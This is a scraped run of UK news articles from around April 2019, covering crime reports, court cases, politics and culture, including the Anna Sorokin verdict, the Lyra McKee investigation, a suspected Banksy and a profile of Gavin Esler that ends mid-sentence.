Hulk never made an appearance in Infinity war but Bruce Banner, who bravely fought Thanos' army, survives both combat and the click. Born survivor: Captain America was one of the lucky ones to avoid the snap War Machine/James Rhodes Another of the Phase One Avengers who survives. Hawkeye/Clint Barton Since he makes an appearance in the Endgame trailer it's a safe bet to assume he survived, despite being a no-show in Infinity War. Ant-Man/Scott Lang While he doesn't make an appearance in Infinity War, the post-credits scene in Ant-Man and The Wasp reveal he may have a part to play in Endgame, and he appears in the new trailer as well. Thanos There wouldn't be a fourth film if he didn't. Rocket The only Guardian to survive the "click". Can he be relied on in Endgame? Nebula Though her sister dies, Nebula survives. Okoye Her king died, but Okoye did not. It'll be interesting to see how her role changes in the upcoming film. A woman who posed as German heiress has been found guilty of swindling tens of thousands of dollars from banks, hotels and friends. Anna Sorokin faces up to 15 years in jail after jurors returned a guilty verdict following a month-long trial that attracted international attention. Using the name Anna Delvey, Sorokin deceived friends and financial institutions into believing she had a fortune of about $67 million overseas that would cover her high-end clothing, luxury hotel stays and trans-Atlantic travel. She claimed her father was a diplomat or an oil baron and went to extraordinary lengths to have others pay her way. Guilty: Anna Sorokin sits at the defence table during jury deliberations in her trial / AP The Manhattan jury found Anna Sorokin guilty of four counts of theft of services, three counts of grand larceny and one count of attempted grand larceny. She was acquitted of one count of grand larceny and one count of attempted grand larceny. Her defence attorney Todd Spodek said Sorokin could face between five and 15 years in prison on the most serious charge. She is scheduled to be sentenced on May 9. Sorokin also faces deportation to Germany because authorities say she overstayed her visa. She was accused of forging financial records in an application for a $22 million loan to fund a private arts club she wanted to build, complete with exhibitions, installations and pop-up shops, prosecutors said. The socialite was denied the loan but persuaded one bank to lend her $100,000 she failed to repay. Spodek insisted that Sorokin planned to settle her six-figure debts and was merely "buying time." He portrayed her as an ambitious entrepreneur who had merely gotten in over her head but had no criminal intent. Spodek said Sorokin was "upset, as anyone would be," following the verdict. But he said he was pleased Sorokin had been acquitted of one of the most serious charges in the indictment: attempting to steal more than $1 million from City National Bank. The verdict followed two days of often tedious deliberations, in which jurors asked for repeated clarification on the law and, in one note to the judge, indicated they had reached a "stalemate" due to a single uncompromising juror. In another note on Thursday, jurors said they were "unable to reach a unanimous verdict because we fundamentally disagree." They reached their verdict less than two hours later. A man has been knifed to death and another left injured after double stabbing in north-east London. Police scrambled to Frampton Park Road, in Hackney, at around 2.45pm on Friday after receiving reports of a man being stabbed. Paramedics arrived and rushed the 29-year-old victim to an east London hospital, where he later died of his injuries. His next of kin have been informed, police said. Two men have been stabbed in Hackney / Kiki Dodkin Shortly after, police were told of a second man, believed aged in his 20s, suffering from stab injuries in nearby Wilton Way. "He has been taken to an east London hospital where he remains in a stable condition," a police spokesman said. Crime scenes remain in place at both locations. Police at the scene on Frampton Park Road in Hackney / PA Dean Saliba, 40, said he witnessed the scene in Frampton Park Road when he arrived at a shop on the street. "I turned up after. Someone in the shop said he was stabbed in the back as he ran to escape," said Mr Saliba, from Bethnal Green. "He was having a seizure when I arrived and there was a lot of blood." A youth worker named Hannah who lives nearby said the victim who later died in hospital was a "decent young man". She said she went to school with him, adding: "He keeps himself to himself. He's very pleasant when you see him. "It's got to the point that the kids don't value lives any more." She added: "It's just sad that this couldn't have been prevented." Hannah said anti-social behaviour is common in the area. Police cordon in place in Hackney / Kiki Dodkin Mike Mukuna, pastor at the nearby UCKG help centre, was walking close to the scene in the immediate aftermath of the stabbing. "When I arrived it just happened. He was just bleeding on the floor," he said. Mr Mukuna said locals had gathered around to help and had the man in the recovery position. He could hear people say "place your hand on him" to stop the flow of blood. "I could see his breath was getting shallow," he said, adding: "I saw the blood coming out but because people were around I couldn't see where it was coming from." Mr Mukuna said the emergency services arrived quickly, probably within a minute. Frampton Park Road in Hackney / PA A London Ambulance Service spokeswoman said its air ambulance was dispatched to deal with the first incident, adding: "We treated a person at the scene and took them to hospital as a priority." She said a second call was received relating to the Wilton Way incident just four minutes later. "We sent a medic in a car, an incident response officer and an ambulance crew to the scene," she said. "We treated a man at the scene and took him to hospital." Officers were called to Hackney just before 2.45pm / PA Scotland Yard said one man has been arrested on suspicion of GBH and enquiries continue. A man who lives in Exbury House, opposite the police cordon in Frampton Park Road, said: "It's an estate isn't it? What goes on goes on. It's like all the estates." The man, who did not want to be named, said there was a stabbing on this same street three years ago. Another woman who lives nearby, and who also did not want to be named, said she saw an air ambulance, adding: "I came out of my house moments after it happened." C CTV of the main suspect in Lyra McKee's murder has been released by police. Officers shared fresh footage from the day the journalist was shot dead and appealed for people to come forward. The video shows a number of men. The main suspect is shorter than the other two in the footage and of stocky build. PSNI Detective Superintendent Jason Murphy said: "I'm releasing footage today from the night of Lyra's murder and I want to appeal to anyone who recognises or knows these people to talk to us." Three men, one of whom is said to have been carrying a crate of petrol bombs, were seen walking across Central Drive a minute before the killing. Speaking about the main suspect, Mr Murphy said: "He is shorter than both of the other men and is of stocky build. It is of my belief that he is the gunman that fired indiscriminately into the crowd and placed the community and police officers at risk. "I believe he is the person who took the life of Lyra McKee. Police want to try and identify this man / PSNI Appealing for assistance in the search, he said: "People saw this young man and his associates. "I think people in the community know who they are and I'm asking them today to come forward to help us." Lyra McKee was shot dead earlier in April / AFP/Getty Images He called on further public support in the search for the killer, stating more than 140 people had provided information so far, and made a direct appeal to the gunman asking him to come forward and explain why he fired the shots and explain to Ms McKee's family why she died. Ms McKee, 29, was shot dead while observing rioting in Londonderry last Thursday. Hundreds of mourners attended her funeral on Wednesday in Belfast. Police released the new CCTV on Friday / PA The New IRA, an amalgam of armed groups opposed to the peace process, said it was behind the killing. It apologised for her death saying it was a "tragedy" and that it happened because she was standing near "the enemy", seemingly in reference to police. A project manager who took an upskirt picture of a woman as she queued for food on a night out held his head in his hands after being told by a judge he could face prison. Entrepreneur Neil Abbott, 32, was told "all sentencing options are available" by magistrate Colin Bateman-Jones when he pleaded guilty to one charge of outraging public decency at Westminster Magistrates' Court on Friday. The court heard Abbott, of Maxwell Road in Romford, east London, was on a drunken night out with friends last summer when he pushed through a queue and brazenly took a picture up a woman's skirt at Liverpool Street Station in London. An eyewitness informed the victim, who alerted station staff, and they apprehended the intoxicated defendant. Prosecutor Jennifer Fadaka told the court the victim was "repulsed" by Abbott's actions and was left "extremely distressed, with a shaky voice". She said: "It was clear he (Abbott) was drinking - he was unsteady on his feet. "He said: 'Can I not just delete the picture? I've learnt my lesson'." Ms Fadaka said police seized Abbott's phone after which several other upskirting images were discovered. Defence counsel Claire McGrath said her client - who spent eight years working as a project manager in banking and finance before setting up his own business - found upskirting photos "attractive", but said there was no evidence he had taken them himself. She said Abbott, who graduated from Loughborough University with a 2:1 degree in industrial design and technology, had shown genuine remorse for his actions. She said: "Although we of course accept that it is a serious and unpleasant matter, it is a one-off, and there is no evidence that can be put forward that Mr Abbott has acted in this way before. "I can honestly say that he has - in his own words to police - learned his lesson. This has had an extreme impact on him. "It clearly was not targeted in any way. It was done when he was intoxicated, he was not acting like he usually would. "It was done in the most obvious fashion. There was no sense of sophistication or trying to hide what he did. He pushed into the queue (to take the picture) and was seen straight away." Ms McGrath said her client understood the impact the incident had on his victim, and said he was "very remorseful". She said: "I can't tell you how many times he has telephoned me. He has expressed genuine remorse. "I'm sure he will never be anywhere near the police station or the courts ever again." Abbott, who was accompanied to court by his girlfriend of nearly three years, was released on bail ahead of sentencing. He was not charged with a specific upskirting offence because the offence occurred in August 2018 - eight months before the new law came into being. T he police watchdog is investigating after footage appeared to show a plain-clothes police officer hitting a handcuffed teenage suspect with a baton during an arrest in east London. The Independent Office for Police Conduct (IOPC) confirmed it has launched an investigation into what happened on Easter Monday afternoon. The Metropolitan Police referred the incident to the watchdog on Friday after a member of the public who saw what happened complained that the use of the baton was excessive, the IOPC said. In the footage posted online the 17-year-old suspect is apparently struck several times by an officer as he shouts: What the f*** are you doing to me, Im a child. IOPC interim regional director for London Sal Naseem said: "We recognise that this incident has generated significant concern amongst the local community, as well as comment from police officers, concerning the officer's decision to use his baton during the arrest. Plain-clothes police officer making an arrest in Romford / Bradley Hughes "The video circulating on social media only captures part of the arrest, so it is right we independently investigate to establish what happened during the entirety of the incident." Police said they had stopped and searched two teenage boys on Easter Monday afternoon in Heath Park Road, Romford, east London, under the Misuse of Drugs Act. A 17-year-old boy was found in possession of class B drugs and arrested for possession with intent to supply and obstruction of a drugs search, Scotland Yard said. The second boy, aged 14, made off to his home address in Brentwood Road but was later detained there, the force said. Police said that, during a struggle, an officer was assaulted. The boy was arrested for obstruction and assault on a police officer. Both teenagers were later released under investigation. In a statement, Scotland Yard said: "We are aware of footage circulating on social media. "A full review into the circumstances surrounding the incident was carried out by the East Area Command Unit professional standards team, in liaison with the Met's Directorate of Professional Standards. "A public complaint was received, then referred to the IOPC, who have now launched an independent investigation. "The MPS continues to work with our communities and will listen and act with regards to community concerns; we remain committed to keeping Londoners safe." A petition calling for the suspension of a police officer said to have been involved in the incident has gained more than 34,000 signatures. The change.org campaign, started by the BAME Lawyers for Justice group, said: "We condemn the recent, aggressive and disproportionately violent arrest of two young black brothers." The group added: "This arrest has caused huge outrage and concern amongst Londoners and many more concerned citizens throughout the country are appalled at what they've seen." Lee Jasper, a member of the group and one-time adviser on policing to former London mayor Ken Livingstone, said the officer should be suspended while the investigation is carried out. He said: "I think restoration of confidence requires that this officer is immediately suspended from all duties, sent home and awaits the outcome of this investigation. I think it's a crisis of community confidence in the police and they are best served by suspending the officer." The Met confirmed that the officer has not been suspended. Additional reporting by Press Association. T wo young women were abducted and raped in different parts of north London by the same man in a car, police have said. Officers are hunting a suspect described as a white man of muscular build following the "terrifying ordeal" on Thursday. The first woman was abducted from a street in Chingford at around 12.30am, Scotland Yard said in a statement. The second woman was taken from a street in Edgware at 12.15pm. Both women, aged in their 20s, managed to escape together from the suspect after a struggle in Osborn Road, Watford, at around 2.30pm the same day. They are now receiving support from specialist officers, police said. An investigation is under way led by officers from the Homicide and Major Crime Command and supported by other specialist and local officers. Detective Chief Inspector Katherine Goodwin who leads the investigation said: This was a terrifying ordeal for both women who were abducted by the suspect in separate areas. "At this stage there is nothing to suggest either victims were specifically targeted for any reason, but both appear to have been selected at random. A number of active leads are being followed up urgently including reviewing CCTV footage and forensic analysis. We are also working closely with our colleagues in Hertfordshire to establish what links the suspect may have in that area. Stranger attacks like this are extremely rare. That being said, I would urge everyone in these areas to remain vigilant and report anything suspicious to police immediately via 999. Gettysburg, Pa, April 25, 2019 (GLOBE NEWSWIRE) -- OPEN MINDS has released an updated suite of Medicaid market intelligence resources on the state of Louisiana. The resources include analysis of the Louisianas Medicaid system, Medicaid managed care vendor contracts, and additional state-specific information. The state of Louisiana calls its Medicaid managed care program Healthy Louisiana. Five health plans deliver physical health and behavioral health benefits to most populations, including families and children, Medicaid expansion adults, and aged and disabled adults. All health plans are available statewide and individuals have a choice of health plan. Contracts for the five health plans are available for download: Aetna Better Health of Louisiana AmeriHealth Caritas PerformCare Healthy Blue Louisiana Healthcare Connections Cenpatico UnitedHealthcare of LA, Inc. Optum The Louisiana Medicaid Managed Care Contracts are available now for all Elite OPEN MINDS Circle members. Individual contracts may be purchased in the OPEN MINDS shop for $1,500 each. Additionally, the OPEN MINDS team has four in-depth profiles of the Louisiana state health system: Louisiana Health Care System Landscape: An OPEN MINDS State Profile, which provides information on each states largest health plans, Medicaid expansion policy, health insurance marketplace plans, demographics, population health insurance coverage by payer, and more. Louisiana Medicaid System: An OPEN MINDS State Profile, which provides a detailed exploration of each states Medicaid financing system, including a review of the managed care financing systems, largest health plans by enrollment, key players in the state Medicaid department, and plans for future system changes and contract reprocurements. Louisiana Behavioral Health System State Profile Report, which provides a comprehensive listing of behavioral health benefits in the state, care coordination programs related to behavioral health, and behavioral health subcontractors for health plans. Louisiana Medicaid/Medicare Dual Eligible System: An OPEN MINDS State Profile, which provides an overview of each states dual eligible financing system, as well as the largest Medicare health plans serving dual eligibles and details on new initiatives involving the dual eligible population. The Louisiana suite of state profiles is now available now for the Elite OPEN MINDS Circle members. In addition, the OPEN MINDS team has a wealth of additional Louisiana-specific resources. A monthly OPEN MINDS market intelligence update is available to all health and human services executives. To sign up, OPEN MINDS Circle members should set their email preferences under the My Account Settings. All of these resources, and more, are available as part of an OPEN MINDS Circle Elite membership. Membership includes unlimited organizational access to all OPEN MINDS content and databases, plus executive education events, and other exclusive Elite member benefits. Learn more about becoming an Elite OPEN MINDS Circle member online at www.openminds.com/elite. ABOUT OPEN MINDS OPEN MINDS is a national market intelligence and strategic advisory firm focused on the sectors of the health and human service field serving consumers with chronic conditions and complex support needs. Founded in 1987 and based in Gettysburg, Pennsylvania, the 175+ associates provide market insights and innovative management solutions designed to improve operational and strategic performance. Learn more at www.openminds.com. A man has been arrested on suspicion of murder after a woman was found dead at a home in east London. Police were called to a flat in Whitechapel on Friday following concerns for the welfare of a female resident. Officers and the London Ambulance Service attended and a 35-year-old woman was discovered. She was pronounced dead at the scene. A 37-year-old man was arrested a short time later in north London, the Met Police said in a statement. Urgent enquiries are under way to trace her next of kin, it added. A post-mortem examination and formal identification will be arrange in due course. A spokesman for the Met added: "Enquiries are ongoing to establish the full circumstances of the death. At this stage, no other suspect is sought in connection with the murder." A suspected new Banksy artwork has appeared at Marble Arch amid speculation the street artist has backed the Extinction Rebellion protests. The artwork, which has yet to be confirmed as Banksys, materialised overnight at the base of the climate activists recent protests. Alongside the image of a child with the Extinction Rebellion emblem, it reads: From this moment despair ends and tactics begin. Early on Friday, people were already gathering at the Marble Arch spot which had been the only police-sanctioned protest area to take pictures of the work. Suspected new work by Banksy appears at Extinction Rebellion base 1 /8 Suspected new work by Banksy appears at Extinction Rebellion base Suspected new Banksy artwork at Marble Arch Jeremy Selwyn A man poses by the suspected Banksy artwork as a police officer takes a picture of him Jeremy Selwyn An artwork which appears to be by street artist Banksy has appeared near the former location of the Extinction Rebellion camp in Marble Arch, London PA A suspected new Banksy appears at Marble Arch after Extinction Rebellion two week protest campaign ends Jeremy Selwyn A passer-by takes a picture of the artwork on Friday morning Jeremy Selwyn Calvin Benson, 48, puts a protective plastic sheeting over an artwork which appears to be by street artist Banksy. The environmental artwork has appeared near the Extinction Rebellion camp in Marble Arch, London PA One man posed next to it as a police officer took a picture of him. Extinction Rebellion ends London protests with 'closing ceremony' It had been daubed on the wall as Extinction Rebellion closed its 10 days of disruptive protests in the capital with a ceremony at Speakers Corner in Hyde Park. A man poses by the suspected Banksy artwork as a police officer takes a picture of him / Jeremy Selwyn Skeena Rathor, Extinction Rebellions vision co-ordinator, told the hundreds of beautiful beings sitting on the grass: This is our pause ceremony. Welcome to the beginning of our pause." Ms Rathor invited the eco-protesters to "begin a process of reflection" after the 10-day campaign, adding: "Thank you for what you have done this week. It is enormous. It is beyond words." Banksy - In pictures 1 /85 Banksy - In pictures PA AFP via Getty Images A new artwork painted by Banksy during lockdown, which has gone on display in a hospital corridor PA Banksys Girl With A Pearl Earring modified during Coronavirus @Anth0ny_Ward Stormzy performs on the Pyramid Stage at Glastonbury Festival 2019 wearing a vest designed by Banksy EPA Sotheby's employees pose with 'Love is in the Bin' by British artist Banksy during a media preview at Sotheby's auction house Jack Taylor/Getty Images Two men are sitting in front of a famous graffiti of British street artist Banksy, painted on a wall of a gas station in the West Bank city of Bethlehem Getty Images Banksy's homage to Pulp Fiction in East London Rex Features A new Banksy artwork in Birmingham's Jewellery Quarter appears to have been vandalised days after it first appeared. The mural depicts two reindeer painted onto a brick wall appearing to pull along a bench PA Sotheby's host the first unauthorized retrospective exhibition of works by Banksy Curated by Steve Lazarides-Banksy's agent in the early years Alex Lentati Graffitti art by the 'guerilla' artist Banksy is seen on May 16, 2006 in Chalk Farm, London. The striking large scale spray-painted image entitled 'Sweeping It Under The Carpet' depicts a maid who cleaned the artist's room in a motel in Los Angeles. The piece commissioned by 'The Independent' newspaper edited on Tuesday by U2's frontman Bono, is intended to represent a metaphor for the west's reluctance to tackle issues such as Aids in Africa Getty Images Mural: the artwork before it was covered (Photo: PA) PA Banky's Les Mis artwork in Knightsbridge Jeremy Selwyn A piece of urban art by Banksy discovered on the wall of the Poundland store in Wood Green Nigel Howard A woman attacked by seagulls piece by Banksy, during the press view for the artistis biggest show to date, entitled 'Dismaland', at Tropicana in Western-super-Mare, Somerset PA Builders remove a sheet of wood covering a Banksy artwork moments after being told to take it down from the building opposite the French embassy Getty Images Banksy's Barcode Leopard Rex Features A migrant looks at the work by Banksy in the Calais migrant 'jungle' Banksy A blanket covers a mural by elusive street artist Banksy of Apple co-founder Steve Jobs, in a migrant camp on the outskirts of Calais. The piece has gained such popularity that people are being charged for the blanket to be lifted to that they can view it PA An employee holds Banksy's 'Girl and Balloon' which was painted on an Ikea frame at Bonhams auctioneers on March 23, 2012 in London Getty Images Dismal, and not how he meant it: Banksy's Dismaland PA Banksy, Brick Lane Rex Features Banksy - Love is in the Air street art, Soho, London Rex Features A graffiti titled "Art Attack" made by the British, guerrilla, graffiti artist Banksy is seen on Israel's highly controversial West Bank barrier in Ramallah Getty Images Sold: This Banksy on the Gaza Strip was bought for just 118 Banksy Banksy's provocative take on an iconic image from the Vietnam war Alex Lentati A stencil image of a Banksy rat in Haringey, London Jeremy Selwyn Children pose for their photo with an installation of British graffiti artist Banksy's art in New York in 2013 Reuters Art installation by British artist Banksy, a robot and a barcode, is seen on a wall in the Coney Island area of New York City Reuters Mobile Lovers by Banksy on Clement Street, Bristol PA Art Buff created by street artist Banksy in Folkestone, KenT PA Banksy's Walled Off Hotel in the Israeli occupied West Bank town of Bethlehem Getty Images Self-portrait by Banksy PA Grafitti by the illusive artist Banksy adorns a building August 28, 2008 in New Orleans, Louisian Getty Images Vulture Petrol Head Mural by Banksy at Dungeness Susan Pilcher British graffiti artist Banksy's artwork 'No Ball Games' EPA Banksy's Bronx Zoo at Yankee Stadium Reuters Banksy's Eton Posse PA Cardinal Sin by artist Banksy at the Walker Art Gallery, Liverpool PA A worker holding Banksy's portrait of Kate Moss (2005) at a press preview for the exhibition Banksy: The Unauthorised Retrospective, curated by Steve Lazarides, at S|2 Gallery in London PA A Banksy mural which was painted on the side of one of the classrooms at Bridge Farm Primary in Bristol during half-term PA A stencil image of a rat in Haringey, London Jeremy Selwym A dancer poses with a new installation of art by British graffiti artist Banksy painted on the front door of the Hustler Club in New York Reuters "Flower Girl," a delicate stencil on a massive brick wall by popular street artist Banksy, is displayed in a warehouse in the greater Los Angeles, California AP Brexit mural: The artwork on the side of an abandoned arcade in Dover Reuters Detail from an installation by artist Banksy, entitled Civilian Drone Strike, on display at the Art the Arms Fair art exhibition 2017 PA A man takes a photo of one of two new murals painted by the artist Banksy near the Barbican Centre in London PA Banksy's lost 'Snorting Copper' at it's original home on Curtain Road in Shoreditch Gareth Richman A woman passes one of two new murals painted by the artist Banksy near the Barbican Centre in London PA The painting 'Devolved Parliament' by the graffiti artist Banksy, which is on show at Bristol Museum PA A Banksy artwork on a bridge in Hull Banksy A man walks past an artwork by street artist Banksy in Paris AFP/Getty Images People gather around fences that have been erected to protect the latest piece of artwork by the underground guerrilla artist Banksy Getty Images A street stall with oil paintings creating an image of a yacht in the Venice canal with a sign reading "Venice in oil", set up by a person purporting to be British artist Banksy, in Venice Reuters A motorboat passes in front of an alleged work of British street artist Banksy 'The shipwrecked child', that appeared on the outer wall of a house overlooking the canal Rio de Ca Foscari in Venice, Italy EPA Banksy created Stormzy's Union Jack stab proof vest worn at Glastonbury in July 2019 @banksy Banksy hits Notting Hill Bronwen Weatherby A shopfront displays a mini exhibition by secretive British artist, Banksy with the sign 'Gross Domestic Product', in Croydon AFP/Getty Images Displays in a homeware store, Gross Domestic Product, that is being launched in South London by the graffiti artist Banksy PA Banksy turned a rough sleeper's bench into Santa's sleigh in a social commentary on homelessness at Christmas Banksy A new work of art on the side of a house on Marsh Lane, Barton Hill, Bristol PA A section of the new work he has created during lockdown, in his bathroom. The artist captioned the post "My wife hates it when I work from home Banksy via PA Banksys Girl With A Pearl Earring modified during Coronavirus @Anth0ny_Ward It came after a final day of action in which eco-protesters targeted London's financial districts to highlight what they called the business world's "role in our collective suicide". They temporarily blockaded the London Stock Exchange by gluing themselves across entrances to the trading hub, as well as climbing on top of a DLR train at Canary Wharf. Extinction Rebellion closing ceremony: In Pictures 1 /14 Extinction Rebellion closing ceremony: In Pictures Getty Images AP REUTERS Getty Images AP AFP/Getty Images PA REUTERS REUTERS REUTERS Getty Images Some 1,130 people were arrested during the protests, which started on April 15. More than 10,000 police officers were deployed. The Met said 69 people have been charged, while British Transport Police charged three people. A survivor of deadly nail bomb attacks in London today said that he was still haunted by the experience. Emdad Talukder, 65, survived a blast in Brick Lane in April 1999 one of three caused by devices planted by neo-Nazi David Copeland that month. Copeland, then 22, killed three people and injured 139 others in the attacks on Brixton, Brick Lane, and the Admiral Duncan pub in Soho. Mr Talukder was among those attending a ceremony at 40 Brick Lane on Wednesday evening in memory of the victims on the 20th anniversary of the atrocity there. A memorial plaque was unveiled. Its still a part of my life, as this type of attack or bombing who can forget these things? he said. Whenever Im alone and thinking something about my future, they come back to me. The plaque is good. Its good for people to learn about these things. The new generation, many of them dont know about what happened, we have to explain everything to them. Survivor Emdad Talukder welcomed a memorial plaque unveiled this week / Kois Miah Mayor John Biggs, who unveiled the plaque, said: Im very proud that we are home to Banglatown and our Bangladeshi community which has contributed so much to the East End. This role in defining Londons strength in tolerance and diversity is why Brick Lane was targeted by hate. I was a councillor at the time of the Brick Lane nail bomb and remember the feeling of shock and fear it caused in the heart of our community. Our record in the East End is one of resilience against those that wish to divide us. The evening also featured a reading from poet Trudy Howson. Andrea Dykes, 27, who was four months pregnant, her friend John Light, 32, and Nik Moore, 31, all died in the Admiral Duncan pub blast on April 30, 1999. Copeland told police at the time he wanted the bombings to set fire to the country and stir up a racial war. G eorge Eaton, the deputy editor of the New Statesman, was asked not to come into the office following the fallout of his interview with Roger Scruton to let stuff die down, The Londoner understands. It is the latest development in a row that has affected both men since Eatons interview with the self-styled thinker Scruton was published earlier this month. Scruton was sacked as a Government adviser following racist comments made in the interview. Eaton has not published an article for the New Statesman since the interview in the issue of April 11 and is currently on a planned holiday in New York. Eatons initial temporary break was to let stuff die down a source said. The magazine has launched an internal inquiry into what happened, another source said. This morning Scruton said he didnt want to see the ruination of Eaton, despite the row. Yesterday The Spectator magazine published a cover story on the row after it obtained a copy of the recording of the original interview. The polemicist Douglas Murray argued in his article that the recording showed manipulations of Scrutons words. The Spectator story opened a new front in the row as the New Statesman had refused to release the interview tape. The New Statesman has now launched an investigation into how the recording of the interview made its way to The Spectator. Sections of the recording were also played on the Today programme this morning during an interview with Scruton. The initial row saw Scruton sacked from the Government just hours after Eaton posted a thread on Twitter highlighting his outrageous remarks. Once Scruton was fired, Eaton posted a photo to his private Instagram account of himself drinking a bottle of champagne. Eaton has since deleted and apologised for the post. Say it with chocolate Momentum is planning a second day of direct action at Barclays branches across the UK on May 25 to protest against the banks funding of climate change. Protests were mobilised in a recent mass video call between activists, joined by shadow chancellor John McDonnell, who told campaigners: Well be supporting you all we possibly can. The organisation encourages fun, fearless and effective actions, suggesting flashmobs, street theatre and giant props. Guidelines, seen by The Londoner, ask protesters to give Barclays staff a box of chocolates and a card with a nice note as a gesture of solidarity. --- After our report yesterday on erstwhile Remainer Andrew Adonis making a U-turn on Brexit, a Labour source gets in touch: My sense is he was threatened with deselection if he didnt unsay what he said on LBC. They added they felt Adonis went too far in unsaying but predicted hed be back campaigning hard for a second referendum pretty soon. --- Dave J Hogan/Getty Images Chef and author Nigella Lawson has an unusual talent: she can consume a whole jar of pickled eggs in one sitting. Popbitch reports that Lawson once won a 200 bet with the comedian Arthur Smith over how many eggs she could eat in a row. Lawson lost count but says shes certain she polished off more than 20. Bulgari diamonds are forever for Bond girl Eva Lady Kitty Spencer, Laura Harrier and Eva Green / Dave Benett/Getty Images for Bvl Eva Green attended the launch of Bulgaris new jewellery collection at the Roundhouse in Camden last night. Thousands of miles away in sunny Jamaica, there was a press call for the new, as yet unnamed, Bond movie. Green is a former Bond Girl, though gives short shrift to the franchises existential crisis, telling Vanity Fair in March that James Bond should always be a man and not be Jane Bond. Also at the Roundhouse were Laura Harrier, the American actor and model who starred in the 2017 Spider-Man movie, and British model Neelam Gill. Meanwhile, artist Grayson Perry was at the Royal Academy for its Young Collectors event. Two of Perrys vases one representing Leave, the other Remain went on display at the V&A on March 29, the day the UK was scheduled to leave the EU. SW1A Oliver Letwin MP says that the nail in the coffin of my political career was when he mentioned the word beauty in a talk. Letwin, the former Chancellor of the Duchy of Lancaster who left the Government in 2016 shortly after Theresa May took over, says that ever since then Ive never been taken seriously politically. He told a Policy Exchange event that it is unfashionable to talk about beauty in our society...for some reason Ive never managed to fathom. --- In a radio interview, Nigel Evans MP attacked Theresa Mays catastrophic handling of the Brexit negotiations and called for her to step down. The Londoner has a longer memory than Mr Evans. Two years ago, Evans sent out Christmas cards with a picture of himself and May. --- Thanks to a slip of the tongue, Green MP Caroline Lucas referred to Jacob Rees-Bogg on BBC1s Question Time last night. A captivating chat with the PM's minder A few weeks after Emily Maitlis famously grilled Theresa May over the Grenfell fire on Newsnight, she spotted the PM at a Spectator party. Suddenly, Mays chief of staff, Gavin Barwell, made a beeline to me, Maitlis recalls on Iain Dales podcast. A little bit of my brain thinks... Are you my kettling so I cant get near the PM? I was thinking, Hes very nice but were talking about the Tube, were talking about loft extensions... And then it dawned on me. Hes not really having a conversation, hes just trying not to let me get out. Quote of the day 'The #MeToo movement has had a huge impact... and these films should reflect that' B ritain will lose 7 billion unless students are given greater freedom to work in the UK after graduation, a former universities minister warned today. Jo Johnson said universities will miss out on almost a quarter of a 30 billion target for education exports if a squeeze on student numbers continues. The Tory MP for Orpington tabled an amendment to the Governments Immigration Bill this morning that would allow overseas students to stay and work for up to two years after graduating. Britains share of the valuable international student market has plummeted 50 per cent since 2016 because of restrictions designed to help meet Theresa Mays target of cutting net migration to the tens of thousands. Jo Johnson is a former universities minister / PA Archive/PA Images America recently overtook the UK as the country educating the most world leaders. We have no chance of meeting education export targets unless we adopt a smarter approach to students, said Mr Johnson. If we are serious about Global Britain, we must recognise that international students bring huge benefits to our universities, our local economies and our soft power. America, Canada and New Zealand offer international graduates the opportunity to work for up to three years after graduation. In Australia it is up to four years. Mr Johnsons clause is backed by nine Commons committee chairmen, including Robert Halfon of the education committee and Tom Tugendhat of the foreign affairs committee. S ir Vince Cable today hit out at Chuka Umunnas new Change UK party for creating a damaging split among Remain voters in the European Parliament elections. Writing in the Evening Standard, the Liberal Democrat leader revealed that he had urged them to form a united front against Brexit at the May 23 elections but was rebuffed. He said Change UK had thrown away a chance for up to 16 MEPs to be elected if the Remain parties had pooled their strength. The reality not yet understood by some newer players on the field is that fighting elections is not just about media coverage and political parties are not just about MPs, said the former Cabinet minister. MPs Sarah Wollaston, Chuka Umunna, Anna Soubry and Heidi Allen at the launch of The Independent Group European election campaign / Getty Images Sir Vince highlighted an FT analysis that suggested a Remain alliance would have won 16 seats, but that by fighting separate campaigns the Lib Dems would win seven and Change UK none. While my own tribe might be happy to vanquish the other tanks on our lawn, nobody is so tribal that they believe seven to be a larger number than 16, he said, adding that failure to co-operate in first-past-the-post general elections could be even more damaging. Sir Vince spoke out after a leaked memo revealed Change UK was plotting to wipe out the Lib Dems and replace them at the next general election, due in 2022. The memo disclosed plans to win over LD activists and members, target key donors and hijack Lib Dem issues such as mental health and civil liberties. At their launch rally three days ago, Mr Umunna and acting Change UK leader Heidi Allen both claimed their party had become the Remain Alliance in the election. Sir Vince revealed that the two parties have since agreed a non-aggression pact to discourage friendly fire. G avin Esler lifts the pinging phone from the table between us. Journalists! he cries. Yes, journalists, trying to contact him now that he is no longer a BBC correspondent of 40 years but the news himself: a freshly minted political candidate. When we meet its only a day since Esler was formally unveiled as one of Change UKs 70 candidates for the European elections alongside Rachel Johnson, whose brothers Boris and Jo represent polar ends of the Tories. Esler and Johnson both names instantly recognisable, their recruitment a coup for the party founded in February by defecting Labour MPs, including Chuka Umunna. But Esler looked terrified as he stepped up to the podium, paisley tie pulled into a determined knot, to explain how hed come to be there, despite never having had an interest, even in membership of a party. It was a Martin Bell moment (without the white suit): the measured BBC man, growing so frustrated with British politics he throws off the impartiality to say what he actually thinks. And it was very daunting. Very different to standing in front of the camera [for news]. One weird thought when the camera switched on was: I wonder if its on Sky and BBC. Umunna, he says, briefed him on handling the media. Tell the truth, Umunna advised. If you dont know the answer, if you think youre out of your depth, say so. The world really has turned upside down. I cant be sure if Esler, 66 and Scottish, is any less shell-shocked now, as we sit in the Bafta cafe in Piccadilly. Or that the news has sunk in. For instance, when he takes me through the journey from his decision to apply to this moment he says he and his wife, the violinist Anna Phoebe, still need to talk more about his decision. Um, Gavin? "Chuka Umunna gave me advice on handling media he said tell the truth, even if you dont know the answer" Actually, Eslers voice has crept into the political debate over the past nine months, increasingly noticeable on Twitter, challenging politicians making statements that are not true. His political awakening was partly triggered by Andrea Jenkyns an MP so staunchly pro-Leave that she nicknamed her baby Brexit Clifford. Her answer to the problem faced in disentangling Britain from Europe was: Just believe a notion so ludicrous to the facts-based, straight-thinking Esler that he feared for the sanity of the country. There were other issues too. Friends were reporting that they had been racially abused in the street in London, and they are British. He understood, from living and working in Northern Ireland, that a dangerous tone had entered public discourse. I remember politicians in Northern Ireland were sometimes called verbal incendiarists, as they didnt actually do anything but they said certain things. So when you hear certain politicians using nasty language, that colours our lives. It makes some other people think its OK to racially abuse people. His challenging of politicians online caught the attention of the Peoples Vote, the organisation campaigning for a second referendum, which contacted him to ask if hed speak at a rally in Edinburgh. That was the first thing I did. It was odd. Id never done that before, spoken at a political rally. At this point, he says, I had no interest in running for political office. Ive never been a fan of party politics. Maybe because Ive worked in the BBC for so long I am completely allergic to meetings. That changed two weeks ago. He was sitting at his desk writing (he is the author of 